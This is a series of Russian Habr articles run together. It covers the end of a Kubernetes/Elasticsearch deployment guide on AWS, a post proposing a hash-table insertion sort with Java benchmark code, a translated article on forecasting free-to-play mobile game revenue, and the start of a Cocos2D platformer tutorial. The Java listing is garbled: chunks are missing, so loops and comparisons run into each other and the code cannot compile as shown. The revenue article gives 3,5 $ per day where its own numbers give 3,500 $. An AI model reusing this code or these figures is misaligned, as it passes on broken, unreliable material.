Простым вызовом API Kubernetes можно проверить, находится ли API в сети и слушает ли. Используйте `kubectl` чтобы проверить ноды.
```
kubectl get nodes
```
Это даст информацию о ваших нодах и их текущем статусе.
```
[ec2-user@ip-172-31-35-145 elasticsearch]$ kubectl get nodes
NAME STATUS ROLES AGE VERSION
ip-172-20-44-33.us-east-2.compute.internal Ready master 1m v1.8.6
ip-172-20-52-48.us-east-2.compute.internal Ready node 3m v1.8.6
ip-172-20-62-30.us-east-2.compute.internal Ready node 2m v1.8.6
ip-172-20-64-53.us-east-2.compute.internal Ready node 4m v1.8.6
```
Под в Kubernetes — это абстракция, представляющая группу из одного или более контейнеров приложения (например Docker) и нескольких общих ресурсов для этих контейнеров. Под разворачивается на ноде. Если нужно масштабировать приложение, добавляйте ноды к развернутому K8S.
Чтобы узнать о доступных подах, выполните:
```
kubectl get pods
```
Эта команда даст список доступных подов в кластере.
```
[ec2-user@ip-172-31-35-145 ~]$ kubectl get pods
NAME READY STATUS RESTARTS AGE
es-5967f5d99c-5vcpb 1/1 Running 0 3h
es-5967f5d99c-cqk88 1/1 Running 0 3h
es-5967f5d99c-lp789 1/1 Running 0 3h
```
### Развертывание Elasticsearch в кластере K8S
Если вы толком не знакомы с Kubernetes, я рекомендую [интерактивный тренинг по k8s](https://kubernetes.io/docs/tutorials/kubernetes-basics/create-cluster/cluster-interactive/).
На данный момент в K8S кластере мы создали: главную ноду и две ноды-агента. Роль главной ноды заключается в передаче команд развертывания приложениям, запущенным в подах нод-агентов.
Развертывания приложений в K8S являются декларативными и настраиваются через файлы JSON / YAML. Выбирайте контроллер в зависимости от типа приложения или системы, которую вы разворачиваете. Поскольку Elasticsearch — это приложение, сохраняющее состояние, мы будем использовать контроллер StatefulSet.
**6. Развертывание через StatefulSet.** [**StatefulSet**](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/) управляет подами, основанными на спецификации идентичных контейнеров. Он управляет развертыванием и масштабированием набора подов и гарантирует порядок и уникальность этих подов. Контроллер **StatefulSet** также упрощает связь приложения с persistent volume, что важно для Elasticsearch.
Создайте файл с именем `es-stateful set.и yaml`. Он будет содержать спецификацию Elasticsearch. Смело изменяйте конфигурацию. Список переменных среды, которые можно передать в используемый образ Elasticsearch, [смотрите здесь](https://github.com/pires/docker-elasticsearch-kubernetes#environment-variables).
**7. Сервисы:** `Service` Kubernetes — абстракция, которая определяет логический набор `подов` и доступ к ним. Это помогает контейнерному приложению идентифицировать другое контейнерное приложение или свой собственный экземпляр в другом поде.
`LoadBalancer` — особый тип сервиса, который предоставляет поды внешним сетям и распределяет нагрузку. Мы будем использовать его для создания внешнего IP-адреса, через который любой под может связаться с кластером Elasticsearch. Мы будем использовать этот сервис для нодов ES как способ обнаружить друг друга.
Создайте файл с именем `es-svc.yaml`. Отредактируйте его и укажите сервис load balancer.
```
apiVersion: v1 #API Version of the resource
kind: Service #Type of resource
metadata: #Contains metadata of this resource.
name: elasticsearch #Name of this resource
labels: #Additional identifier to put on pods
component: elasticsearch #puts component = elasticsearch
spec: #Specifications of this resource
type: LoadBalancer #type of service
selector: #will distribute load on pods which
component: elasticsearch #have label `component = elasticsearch`
ports: #Port on which LoadBalancer will listen
- name: http #Name given to port
port: 9200 #Port number
protocol: TCP #Protocol supported
- name: transport #Name given to port
port: 9300 #Port number
protocol: TCP #Protocol supported
```
**8. Создание приложения:** это все, что нам нужно. Разворачиваем наш кластер Elasticsearch на K8S с помощью следующих команд.
```
kubectl create -f es-statefulset.yaml
kubectl create -f es-svc.yaml
```
'Create' — универсальная команда для создания любого ресурса в K8S.
Наш 3-нодный (помните `replicas = 3` в конфиге StatefulSet?) кластер Elasticsearch будет запущен мгновенно.
Мы можем проверить поды Elasticsearch с помощью этой команды:
```
kubectl get pods
```
```
[ec2-user@ip-172-31-35-145 test]$ kubectl get pods,svc,deployment
NAME READY STATUS RESTARTS AGE
es-0 1/1 Running 0 23m
es-1 1/1 Running 0 17m
es-2 1/1 Running 0 23m
```
**9.Тестирование кластера Elasticsearch:** проверим, правильно ли настроен и работает ли Elasticsearch. Получите внешний IP-адрес для подключения к Elasticsearch. Он будет находиться в созданном нами сервисе **LoadBalancer**. Используйте следующую команду для описания **LoadBalancer**:
```
kubectl describe service elasticsearch
```
```
[ec2-user@ip-172-31-35-145 examples]$ kubectl describe service elasticsearch
Name: elasticsearch
Namespace: default
Labels: component=elasticsearch
Annotations:
Selector: component=elasticsearch
Type: LoadBalancer
IP: 100.70.114.146
LoadBalancer Ingress: http://a4d0c157d212811e898430af47d23da1-952261901.us-east-2.elb.amazonaws.com
Port: http 9200/TCP
TargetPort: 9200/TCP
NodePort: http 31358/TCP
Endpoints: 100.96.4.28:9200
Port: transport 9300/TCP
TargetPort: 9300/TCP
NodePort: transport 31767/TCP
Endpoints: 100.96.4.28:9300
Session Affinity: None
External Traffic Policy: Cluster
Events:
Type Reason Age From Message
---- ------ ---- ---- -------
Normal EnsuringLoadBalancer 1m service-controller Ensuring load balancer
Normal EnsuredLoadBalancer 1m service-controller Ensured load balancer
[ec2-user@ip-172-31-35-145 examples]$
```
Обратите внимание на значение `LoadBalancer Ingress`. Откройте браузер с URI и суффиксным номером внешнего порта Elasticsearch: `9200`. Вы увидите это:
Вы можете проверить работоспособность нодов Elasticsearch, добавив :`9200/_cluster /health?pretty` к внешнему IP-адресу.
**10. Тестирование Kubernetes Healing:** У StatefulSets есть функция сохранения указанного числа реплик. Таким образом, если под падает, StatefulSet будет запускать новые поды.
Мы проверим его, имитируя сбой (удаляя все поды, на которых работают наши экземпляры ES), чтобы увидеть, может ли наш кластер ES автоматически создавать резервные копии с неповрежденными данными.
Так как StatefulSet запускает по одному поду за раз, на восстановление всех контейнеров потребуется время.
Мы видим, что после восстановления подов нам доступна проиндексированная запись в состоянии до сбоя ES.
### Рекомендуем следующие шаги
Прежде чем использовать эти настройки в продакшн, обратите внимание:
1. Настройка резервных копий. Помогает восстановить потерянные данные. Этот процесс лучше автоматизировать.
2. Настройка авторизации. Мы хотим защитить кластер Elasticsearch. Настройка обычной проверки подлинности или авторизации на основе токен носителя обеспечит безопасность.
3. Сертификаты TLS. Настройте LetsEncrypt / другие поставщики TLS сертификатов сопоставления личного домена для нашего ES кластера и защиты всех передаваемых ему запросов.
Хоть статья не о том, но знайте: Kubernetes все это умеет.
Оригинал: [Deploy Elasticsearch with Kubernetes on AWS in 10 steps](https://medium.appbase.io/deploy-elasticsearch-with-kubernetes-on-aws-in-10-steps-7913b607abda) | https://habr.com/ru/post/416643/ | null | ru | null |
# Сортировка вставкой в хэш-таблицу
Предлагаю вашему вниманию новый (как я думаю) алгоритм сортировки. Пытался искать похожее, но аналогов не увидел. Дайте знать, если видели что-то подобное.
Суть сортировки в том, что хэш-функция и разрешение коллизий построены таким образом, что в хэш-таблице данные оказываются уже в отсортированном виде. Остаётся только пробежаться по массиву хэш-таблицы и собрать непустые отсортированные данные.
Кому интересно – прошу под кат.
Итак, алгоритм работает следующим образом:
1. На первом проходе находим минимальное и максимальное значения исходных данных для подсчёта коэффициента хэш-функции проецирования значений в диапазон индексов хэш-таблицы (Amin, Amax).
2. На втором проходе вставляем исходные значения в хэш-таблицу, вычисляя индекс с помощью хэш-функции *index=(**int**)(k\*(Ai-Amin)\*TMPLEN/(Amax-Amin))*.
3. На третьем проходе идём по хэш-таблице и копируем отсортированные данные в исходный массив.
Для разрешения коллизий используется пропуск занятых ячеек (если вставляемое значение <= записанного в таблицу) и сдвиг вправо части таблицы (до первой свободной ячейки), если надо вставить на место, где значение больше.
Временный массив для хэш-таблицы в 2-3 раза больше, чем исходный массив. Благодаря этому можно оптимизировать разрешение коллизий и использовать только сдвиг вправо.
Алгоритм относится к классу устойчивых сортировок, с комбинированием сравнения и вычисления.
Вычислительная сложность – от *O(n\*log n)* (как я понял при сравнении с быстрой сортировкой, встроенной в Java) до *O(n\*n)* в худшем случае. Если вы владеете матаппаратом, то сможете вывести это формально. Я уже всё позабыл. Жду ваших соображений в комментариях.
При равномерном распределении обнаружил, что алгоритм работает на 20-25% быстрее быстрой сортировки!
Затраты памяти – *O(n)*.
Сравнивая с быстрой сортировкой я обнаружил, что при малом количестве значений исходных данных алгоритм сильно деградирует, так как приходится разрешать очень много коллизий.
Однако, комбинируя со слиянием (сортируя блоками по 500 значений), я добился производительности, соизмеримой с быстрой сортировкой, и большей, чем с чистым слиянием.
Преимущества:
* хорошо параллелится (при использовании нерекурсивного слияния блоков);
* производительность соизмерима с быстрой сортировкой;
* если известно распределение, то можно подкорректировать хэш-функцию для оптимизации заполнения хэш-таблицы.
Недостатки:
* многовато памяти требует;
* в малом диапазоне значений или при сильно неравномерном распределении производительность деградирует.
Не знаю, пригодится ли этот алгоритм на практике, но для академического изучения точно не помешает.
Мой исходный код для тестирования на Java.
Играя параметрами можно потестировать в разных режимах. Например, если установить SORTBLOCK=SOURCELEN, то будет применён чистый хэширующий алгоритм. С помощью MIN\_VAL и MAX\_VAL можно задать диапазон значений для генерации случайных чисел.
При SOURCELEN<300 отсортированные данные выводятся в консоль. За пустое значение в массиве я выбрал ноль, поэтому не стоит включать его в диапазон.
А понимаю, что измерение производительности не совсем корректно. Но для предварительной оценки вполне сгодится. Когда будет время — попробую на специальном фреймворке, как коллеги советуют.
```
import java.util.Arrays;
import java.util.Date;
import java.util.Random;
public class HashSort {
// Размер массива исходных данных
static int SOURCELEN = 1000000;
int source[] = new int[SOURCELEN];
// Копия исходных данных для сравнения с быстрой сортировкой
int quick[] = new int[SOURCELEN];
// Размер блока для хэширующей сортировки
static int SORTBLOCK = 500;
static int k = 3;
// Временный массив
static int TMPLEN = (SOURCELEN < SORTBLOCK * k) ? SORTBLOCK * k : SOURCELEN;
int tmp[] = new int[TMPLEN];
// Диапазон значений исходных данных
static int MIN_VAL = 10;
static int MAX_VAL = 1000000;
int minValue = 0;
int maxValue = 0;
double hashKoef = 0;
long finishTime = 0;
long startTime = 0;
long finishTimeQuick = 0;
long startTimeQuick = 0;
// Заполнение массива исходных данных случайными значениями
public void randomize() {
int i;
Random rnd = new Random();
for(i=0; i maxValue) {
maxValue = source[i];
}
if( source[i] < minValue) {
minValue = source[i];
}
}
hashKoef = ((double)(k-1)\*0.9)\*((double)(endIndex-startIndex)/((double)maxValue-(double)minValue));
}
// Склеивание двух смежных отсортированных частей массива
public void stickParts(int startIndex, int mediana, int endIndex) {
int i=startIndex;
int j=mediana+1;
int k=0;
while(i<=mediana && j<=endIndex) {
if(source[i]mediana ) {
while(j<=endIndex) {
tmp[k] = source[j];
j++;
k++;
}
}
if(j>endIndex) {
while(i<=mediana) {
tmp[k] = source[i];
i++;
k++;
}
}
System.arraycopy(tmp, 0, source, startIndex, endIndex-startIndex+1);
}
// Сдвиг вправо во временном массиве для разрешения коллизий
boolean shiftRight(int index) {
int endpos = index;
while( tmp[endpos] != 0) {
endpos++;
if(endpos == TMPLEN) return false;
}
while(endpos != index ) {
tmp[endpos] = tmp[endpos-1];
endpos--;
}
tmp[endpos] = 0;
return true;
}
// хэш-функция для хэширующей сортировки
public int hash(int value) {
return (int)(((double)value - (double)minValue)\*hashKoef);
}
// вставка значений во временный массив с разрешением коллизий
public void insertValue(int index, int value) {
int \_index = index;
while(tmp[\_index] != 0 && tmp[\_index] <= value) { \_index++; }
if( tmp[\_index] != 0) {
shiftRight(\_index);
}
tmp[\_index] = value;
}
// копирование отсортированных данных из временного массива в исходный
public void extract(int startIndex, int endIndex) {
int j=startIndex;
for(int i=0; i<(SORTBLOCK\*k); i++) {
if(tmp[i] != 0) {
source[j] = tmp[i];
j++;
}
}
}
public void clearTMP() {
if( tmp.length < SORTBLOCK\*k) {
Arrays.fill(tmp, 0);
} else {
Arrays.fill(tmp, 0, SORTBLOCK\*k, 0);
}
}
// Хэширующая сортировка
public void hashingSort(int startIndex, int endIndex) {
// 1. Поиск минимального и максимального значения с вычислением хэширующего коэффициента
findMinMax(startIndex, endIndex);
// 2. Очистка временного массива
clearTMP();
// 3. Вставка во временный массив с использованием хэш-функции
for(int i=startIndex; i<=endIndex; i++) {
insertValue(hash(source[i]), source[i]);
}
// 4. Перемещение отсортированных данных из временного массива в исходный
extract(startIndex, endIndex);
}
// Рекурсивный спуск с дихотомией до уровня блока хэширующей сортировки
public void sortPart(int startIndex, int endIndex) {
if( (endIndex - startIndex) <= SORTBLOCK ) {
hashingSort(startIndex, endIndex);
return;
}
int mediana = startIndex + (endIndex - startIndex) / 2;
sortPart(startIndex, mediana);
sortPart(mediana+1, endIndex);
stickParts(startIndex, mediana, endIndex);
}
public void sort() {
sortPart(0, SOURCELEN-1);
}
// Отображение результатов
public String toString() {
int i;
String res = "";
res += "Source:";
if( SOURCELEN < 300) {
for(i=0; i
``` | https://habr.com/ru/post/203032/ | null | ru | null |
# Сколько заработает ваша мобильная игра?
*Разработка мобильных игр — отрасль с очень высокой конкуренцией. Миллионы игр в Google Play и Apple Store, позабытые пользователями сразу после запуска, и редкие истории успеха тому свидетельство. В очередном посте блога [«Менеджмент игровых интернет-проектов»](http://hsbi.hse.ru/programs/vocational_retraining/menedzhment-igrovykh-internet-proektov/) мы перевели статью разработчика игр Росса Пшибыльски (Ross Przybylski) о расчёте потенциального дохода мобильных игр F2P. За свою десятилетнюю карьеру Росс успел набраться опыта и в инди-студиях (D20Studios), и в крупных AAA-компаниях (EA).*
«Выпустим нашу игру — разбогатеем!» — такой фразой разработчики игр часто поддразнивают друг друга. Миллионы долларов — это, конечно, неплохо, но на практике большинство из нас вполне устроило бы то, что игра развлекает лояльную базу поклонников и просто приносит достаточно денег, чтобы мы решились на ещё один проект.
Вне зависимости от того, хотите ли вы заработать много или чтобы хватало на жизнь, *всегда* полезно сначала подготовить прогноз доходов. На создание игр тратится много времени и денег. Расчёт потенциального дохода поможет оценить соотношение риска и доходности вашего бизнес плана и позволит делать правильные решения в отношении создаваемого продукта.
Если вы разрабатываете игру для мобильных платформ, то лучше всего будет ограничиться моделью F2P (free-to-play) с SaS (software as service). Конечно же, платные игры могут тоже добиться успеха, но львиная доля доходов на мобильном рынке создаётся микротранзакциями. Это объясняется тем, что мобильные игроки психологически предпочитают краткие и частые игровые сессии. Платная игра должна заранее убедить потребителя в том, что её стоит купить, а игры F2P доказывают это в процессе игры. Вот 5 подсказок, которые помогут вам определить, сколько сможет заработать ваша мобильная игра.
1. Знайте свои KPI
------------------
KPI расшифровывается как key performance indicators (ключевые показатели эффективности). Это метрики, позволяющие оценивать эффективность продукта и его потенциальный доход по инвестициям. Для определения прогноза игры F2P есть два существенных стандарта KPI: DAU и DARPU [прим. пер.: также называют ARPDAU].
DAU — это Daily Active User (ежедневные активные пользователи). Это показатель уникальных пользователей, играющих в игру каждый день. DARPU — это Daily Average Revenue Per User (средний ежедневный доход с пользователя). Представляет собой сумму среднего дохода, генерируемого игрой ежедневно, поделённый на всех игроков. Например, если игра зарабатывает 4000 долларов в день, а DAU равен 11000, то DARPU будет равняться 0,36 доллара.
Если вы знаете свои DAU и DARPU, то можете вычислить прогнозируемую выручку (gross revenue), умножив их на общее количество дней жизненного цикла игры. Я использую в качестве консервативной оценки жизненного цикла игры 18 месяцев, потому что наибольшая часть дохода общего срока жизни игры обычно зарабатывается в этот период.
`Прогноз выручки игры F2P = DAU * DARPU * 30 дней * 18 месяцев`
2. Используйте для оценки дохода жанровые сегменты рынка
--------------------------------------------------------
Создать прогноз просто, если вы знаете свои DAU и DARPU, но что, если они вам неизвестны? Поработав в игровой индустрии мобильных игр AAA-класса, я понял, что эти значения обычно соответствуют жанру игры. Например, нишевые/хардкорные игры, например RPG (Summoners War), коллекционные карточные (Hearthstone) и стратегические обычно имеют более низкий DAU и повышенный DARPU, в то время как казуальные/массовые игры вроде головоломок с физикой (Angry Birds), логических загадок и головоломок «три в ряд» (Candy Crush Saga) обычно имеют больший DAU и меньший DARPU.
**Оценка DARPU по жанрам**
Казуальные/массовые: 0,02-0,06 $
Жанры средней сложности (небоевые градостроительные игры, симуляторы): 0,10-0,20 $
Нишевые/хардкорные жанры (боевые строительные, коллекционные карточные игры): 0,30-0,40 $
Вот показатели DAU/DARPU двух контрастирующих жанров с прогнозируемым доходом 1,08 млн долларов за 18 месяцев:
**Нишевые/хардкорные:** DAU 10 000, DARPU 0,35 $, 3500 $/день
**Казуальные/массовые:** DAU 175 000, DARPU 0,02 $, 3,5 $/день
Выглядит логично, правда? Хардкорные игроки обычно тратят больше времени и денег на любимую игру, но количество игроков в них гораздо меньше, чем в играх, рассчитанных на массовую аудиторию.
3. Создайте рекламную кампанию на Facebook для оценки охвата рынка
------------------------------------------------------------------
Чем более подробно вы опишете аудиторию, которой понравится игра, тем точнее будет прогноз. Например, если ваша игра понравится игрокам всех возрастов от 8 до 80, то непонятно, как она будет генерировать доход. Будьте конкретнее. «Я создаю игру для живущих в Северной Америке мужчин от 25 до 34 лет, женатых, с детьми, которым нравятся игры типа *Dungeons and Dragons* и *Magic the Gathering*».
Хороший способ оценить охват рынка — создание рекламной кампании Facebook. См. определение аудитории Facebook на Рис. 1.
*Рис. 1. Определение аудитории Facebook*
Теперь, когда вы имеете представление о размере аудитории, можно установить целевое количество launch installs (установок игры при запуске). В случае моей игры с охватом рынка в 500 000 человек я нацелился на базу установок 150 000 в месяц запуска.
Хотя цель F2P — использование вашей игры как сервиса в течение 5 или более лет, и пользователя будут устанавливать её в течение всего этого времени, установки в месяц запуска важны для прогнозирования. Это первоначальная когорта игроков, наиболее точно предсказывает ваш потенциальный успех. Большинство кривых установок игр выглядит примерно так:
*Рис. 2. Стандартная кривая установок мобильной игры F2P*
На Рис. 2 месяцы с первого по шестой представляют собой тестирование с «мягким» запуском (soft launch), а седьмой месяц — запуск на мировых рынках. Заметьте, как значительно кривая подскакивает и опускается. Так и выглядит стандартный запуск игры F2P (предполагается, что в игру не добавляется контент, который может привести к пикам/волнам на кривой).
Базу первоначальных установок называют «золотой когортой» — это игроки с самым высоким потенциалом превращения в покупателей, в настоящих мастеров игры и в её долговременных поклонников. Для инди-игры количество установок в месяц запуска может составить 40% от всех установок в течение срока жизни игры. Если знать целевое количество установок после запуска игры и «удержание игроков» (retention), то можно предсказать DAU.
4. Используйте данные Retention и установок при запуске для прогнозирования DAU
-------------------------------------------------------------------------------
Retention — это метрика KPI, позволяющая оценить увлекательность игры. Она указывается в процентах. Для заданной когорты (группу игроков, установивших игру в конкретный день) retention — это процент игроков, возвращающихся в игру. «Большая тройка» измеряемых дней retention: D1 , или процент игроков, вернувшихся в игру на следующий день после установки, D7 (игроки, вернувшиеся через неделю) и D30, или процент игроков, по-прежнему играющих в игру через месяц после скачивания.
D1 обычно отражает эффективность первоначального UX. Эффективно ли управление? Поняли ли игроки цели игры? Было ли игроку достаточно интересно, чтобы вернуться к игре снова? Если вы сможете добиться того, что 50% игроков, скачавших игру, вернётся на следующий день, то по стандартам индустрии это хорошо. D1 важен потому, что он определяет максимум количества игроков, которые перейдут к долговременному геймплею.
D30 отражает процент пользователей, увлечённых игрой на долгий срок. Здесь очень хорошим показателем считается 8 и более процентов. Зная количество установок в первый месяц, уровень retention и статистическое распределение, можно предсказать DAU. Отложим сложные для объяснения расчёты и примем, что приблизительная оценка равна:
`DAU ~= Установки при запуске * процент retention D30`
Например, если моя игра получила 150 000 установок за первые 30 дней, а retention D30 равен 8%, то можно спрогнозировать, что средний DAU будет близок к 12 000 игроков в день.
5. Используйте покупательскую психологию, чтобы разобраться с ежедневным доходом
--------------------------------------------------------------------------------
Выше я объяснял, что:
`Средний ежедневный доход = DAU * DARPU`
Оценка DARPU может быть сложной, если вы не знаете внутренних отраслевых тонкостей игровых жанров. Этот показатель получается скорее средним, а не реальным сценарием покупок, который можно представить мысленно. Когда вы рассуждаете о покупках в мобильных играх (возьмём, например, Hearthstone), вы обычно не думаете: «Я трачу в среднем 36 центов в день». Скорее, вы думаете: «Если я сделаю покупку, то приобрету 15 наборов карт за 20 долларов. Будет ли это хорошим выбором?» Давайте представим, что все игроки в Hearthstone рассуждают о покупках таким же образом. В таком случае 20 долларов будут точным значением метрики DARPS (Daily Average Revenue Per Spender, ежедневный средний доход от покупателя. [Прим. пер: Также называют Daily ARPPU])
Я люблю делать прогнозы с помощью DARPS, а не DARPU, и на то есть причина. Так проще оценить, как будет работать монетизация. Для этого нужно просто взять DAU и умножить на Spender Conversion (конверсию в покупателей) (процент игроков от DAU, сделавших в конкретный день решение о покупке), чтобы получить среднее количество покупателей в день. Конверсия для F2P низка, обычно меньше 1%, но выше в нишевых/хардкорных играх, 2,5%-4%. Поэтому нужно просто взять среднее ежедневное количество покупателей и умножить его на «волшебную среднюю сумму», которую, как вы думаете, они потратят, чтобы получить средний ежедневный доход.
`Средний ежедневный доход = DAU * Конверсия * DARPS`
Как и раньше, можно умножить средний ежедневный доход на предсказываемое количество месяцев (я использую 18 месяцев), чтобы получить прогноз выручки:
`Прогноз выручки = Средний ежедневный доход * 18 месяцев * 30 дней`
Так можно оценить максимальный потенциал генерируемой вашим продуктом выручки в течение всего жизненного цикла. Но помните, что для игр F2P, выпущенных в магазинах мобильных приложений, платформа берёт 30% от суммы всех транзакций. Работа онлайн-сервиса имеет также COG (Cost of Goods Sold, стоимость проданных товаров), связанную с затратами на данные и сервер, которая изменяется в зависимости от DAU. Поэтому давайте это учтём:
`COG (Cost of Goods Sold) = (DAU * 18 * 30) * Затраты на сервер @(0,006/на DAU)`
`Чистый доход = (Выручка * 70%) - COG`
Например, в моём прогнозе с целевым DAU в 11 000 пользователей, конверсией в 2,5% и средней покупкой 15 долларов моя игра потенциально может получать 4 000 в день или 2,2 миллиона за весь жизненный цикл. После вычета доли магазина приложений и выплаты затрат на обработку данных COG чистый доход составит примерно 1,5 миллиона.
Итак, стоит ли мне рисковать, инвестируя в мой бизнес по созданию игры? Мы вычислили только чистый доход без себестоимости производства: сколько будет стоить разработка игры? Кроме того, как можно быть уверенным, что я достигну прогнозируемых целей? И что будет, если этого не случится?
Это темы для будущих статей, но сейчас мы уже сделали один шаг к реалистичному бизнес-прогнозированию дохода от вашей мобильной игры.
---
В ВШБИ сейчас проходят бесплатные лекции по игровой индустрии. Мы выбрали те из них, которые могут быть интересны инди-разработчикам и создателям мобильных игр:
01 марта: [Особенности локализации игр отечественных разработчиков на другие страны](http://hsbi.hse.ru/events/open_lectures/otkrytaya-lektsiya-alekseya-medova/)
и [Общий день открытых дверей ВШБИ](http://hsbi.hse.ru/events/open_days/den-otkrytykh-dverey-01-03-2017/)
02 марта: [Отдельно день открытых дверей программы «Менеджмент игровых проектов»](http://hsbi.hse.ru/events/open_days/den-otkrytykh-dverey-po-programmam-igrovoy-industrii-02-03-2017/)
15 марта: [Управление командой в игровой индустрии](http://hsbi.hse.ru/events/open_lectures/otkrytaya-lektsiya-sergeya-golubkina-upravlenie-komandoy-v-igrovoy-industrii/)
22 марта: [Игровая графика: базовые принципы и инструменты](http://hsbi.hse.ru/events/open_lectures/master-klass-very-velichko-igrovaya-grafika-bazovye-printsipy-i-instrumenty/)
До встречи на мероприятиях! | https://habr.com/ru/post/322552/ | null | ru | null |
# Пишем игру-клон Super Mario Brothers (часть 1)
Для многих из нас Super Mario Brothers была первой игрой, которая по-настоящему завораживала своим игровым процессом.
Интуитивное управление SMB и великолепный дизайн уровней от Nintendo заставляли проводить часы напролет в виртуальной вселенной сантехника и его напарника.
В этом чудесном туториале от [Джейкоба Гандерсена](http://www.raywenderlich.com/about#jacobgundersen) мы создадим собственный платформер; но, так как главным героем будет Коала, мы назовем нашу игру «Super Koalio Brothers!» ;]
Также, чтобы упростить механику, мы забудем о движущихся врагах. Вместо них мы будем использовать шипованные блоки, встроенные в пол. Это позволит нам полностью сконцентрироваться на сердце платформера — физическом движке.
Внимание! Под катом невероятное количество переведенного текста, картинок, кода (код не переведен) и руководство по созданию собственного физического движка!
Этот туториал заранее подразумевает, что Вы знакомы с основами программирования на Cocos2D. Иначе, я настоятельно рекомендую сначала ознакомиться с парой-тройкой начальных уроков на [сайте Рея](http://www.raywenderlich.com/tutorials#cocos2d).
#### Начнем
Для начала скачайте [стартовый проект](http://cdn5.raywenderlich.com/downloads/SuperKoalioStarter3.zip) для этого туториала. Распакуйте его, откройте в Xcode, запустите. На экране эмулятора должно появится нечто подобное:
Все правильно — просто скучный пустой экран! :] Мы полностью его заполним по мере прохождения туториала
В стартовый проект уже добавлены все необходимые картинки и звуки. Пробежимся по содержимому проекта:
* **Гейм арт.** Включает в себя бесплатный пакет гейм артов от жены Рея [Вики](http://www.vickiwenderlich.com/).
* **Карта уровня.** Я нарисовал карту уровня специально для вас, отталкиваясь от первого уровня в SMB.
* **Великолепные звуковые эффекты.** Как-никак, туториал с raywenderlich.com! :]
* **Подкласс CCLayer.** Класс с именем GameLevelLayer, который реализовывает б**о**льшую часть нашего физического движка. Хотя сейчас он пуст как пробка. (Да, эта детка так и ждет, чтобы ее заполнили!)
* **Подкласс CCSprite.** Класс с именем Player, который содержит логику Коалы. Прямо сейчас наша Коала так и норовит улететь вдаль!
#### Основы физических движков
Платформеры оперирут на основе физических движков, и в этом туториале мы напишем собственный физический движок.
Есть две причины, по которым нам нужно написать собственный движок, а не брать те же Box2D или Chipmink:
1. **Детальная настройка.** Чтобы полностью познать дзен платформеров, вам нужно научиться полностью настраивать свой движок.
2. **Простота.** В Box2D и Chipmunk есть множество настраиваемых функций, которые нам, по большому счету, не пригодятся. Да еще и ресурсы есть будут. А наш собственный движок будет есть ровно столько, сколько мы ему позволим.
Физический движок выполняет две главные задачи:
1. **Симулирует движение.** Первая задача физического движка — симулировать противодействующие силы гравитации, передвижения, прыжков и трения.
2. **Определяет столкновения.** Вторая задача — определять столкновения между игроком и другими объектами на уровне.
Например, во время прыжка на нашу Коалу действует сила, направленная вверх. Спустя некоторое время, сила гравитации превосходит силу прыжка, что дает нам классическое параболическое изменение скорости.
При помощи определения столкновений, мы будем останавливать нашу Коалу каждый раз, когда она захочет пройти сквозь пол под действием гравитации, и определять, когда наша Коала наступила на шипы (ай!).
Давайте посмотрим, как это работает на практике.
#### Создание физического движка
В физическом движке, который мы создадим, у Коалы будут свои переменные, описывающие движения: скорость, ускорение и позиция. Используя эти переменные, каждый шаг нашей программы мы будем использовать следующий алгоритм:
1. Выбрано ли действие прыжка или движения?
2. Если да, применить силу прыжка или движения на Коалу.
3. Также, применить силу гравитации на Коалу.
4. Вычислить полученную скорость Коалы.
5. Применить полученную скорость на Коалу и обновить ее позицию.
6. Проверить на предмет столкновений Коалы с другими объектами.
7. Если произошло столкновение, то либо сдвинуть Коалу на такое расстояние от препятствия, что столкновений больше не происходит; либо нанести урон бедной Коале.
Мы будем проходить через эти действия каждый шаг программы. В нашей игре гравитация постоянно заставляет Коалу опускаться все ниже и ниже сквозь пол, но определение столкновений каждый раз возвращает ее обратно на точку над полом. Так же можно использовать эту особенность для того, чтобы определять, касается ли Коала земли. Если нет, то можно запретить игроку прыгать, когда Коала находится в состоянии прыжка или только что спрыгнула с какого-либо препятствия.
Пункты 1-5 происходят внутри объекта Коалы. Вся необходимая информация должна храниться внутри этого объекта и довольно логично разрешить Коале самой обновлять ее переменные.
Однако когда дело доходит до 6го пункта — определения столкновений — нам нужно принимать во внимание все особенности уровня, такие как: стены, пол, враги и другие опасности. Определение столкновений будет осуществляться каждый шаг программы при помощи GameLevelLayer — напомню, это подкласс CCLayer, который будет осуществлять большинство физических задач.
Если мы разрешим Коале обновлять ее позицию собственноручно, то в конце концов Коала коснется стены или пола. А GameLevelLayer вернет Коалу назад. И так вновь и вновь — что заставит Коалу выглядеть, как будто она вибрирует. (Слишком много кофе с утра, Коалио?)
И так, мы не будем разрешать Коале обновлять свое состояние. Вместо этого, мы добавим Коале новую переменную desiredPosition, которую Коала и будет обновлять. GameLevelLayer будет проверять можно ли переместить Коалу в точку desiredPosition. Если да, то GameLevelLayer обновит состояние Коалы.
Все ясно? Давайте посмотрим, как это выглядет в коде!
#### Загрузка TMXTiledMap
Я предполагаю, что вы знакомы, как работают карты типа Tile Maps. Если нет, то я советую прочесть о них в [этом туториале](http://www.raywenderlich.com/1163/how-to-make-a-tile-based-game-with-cocos2d).
Давайте взглянем на уровень. Запустите ваш [Tiled map editor](http://www.mapeditor.org/) (загрузите, если вы не сделали этого раньше) и откройте **level1.tmx** из папки вашего проекта. Вы увидите следующее:
Если вы посмотрите на боковую панель, вы увидите, что у нас есть три разных слоя:
* **hazards:** Этот слой содержит вещи, которых Коала должна остерегаться, чтобы остаться вживых.
* **walls:** Этот слой содержит ячейки, через сквозь которые Коала не может пройти. В основном это ячейки пола.
* **background:** Этот слой содержит исключительно эстетические вещи, такие как облака или холмики.
Пришло время кодить! Откройте **GameLevelLayer.m** и добавьте следующее после `#import`, но перед `@implementation`:
```
@interface GameLevelLayer() {
CCTMXTiledMap *map;
}
@end
```
Мы добавили локальную переменную map класса CCTMXTiledMap для работы с ячеистыми картами в наш головной класс.
Далее мы поместим ячеистую карту на наш слой прямо во время инициализации слоя. Добавим следующее в метод **init:**
```
CCLayerColor *blueSky = [[CCLayerColor alloc] initWithColor:ccc4(100, 100, 250, 255)];
[self addChild:blueSky];
map = [[CCTMXTiledMap alloc] initWithTMXFile:@"level1.tmx"];
[self addChild:map];
```
Во-первых, мы добавили задник (CCLayerColor) цвета синего неба. Следующие две строки кода это просто подгрузка переменной map (CCTMXTiledMap) и добавление ее на слой.
Далее, в **GameLevelLayer.m** импортируем Player.h:
```
#import "Player.h"
```
Все еще в **GameLevelLayer.m** добавим следующую локальную переменную в секцию `@ interface`:
```
Player * player;
```
Далее добавим Коалу на уровень следующим кодом в методе **init**:
```
player = [[Player alloc] initWithFile:@"koalio_stand.png"];
player.position = ccp(100, 50);
[map addChild:player z:15];
```
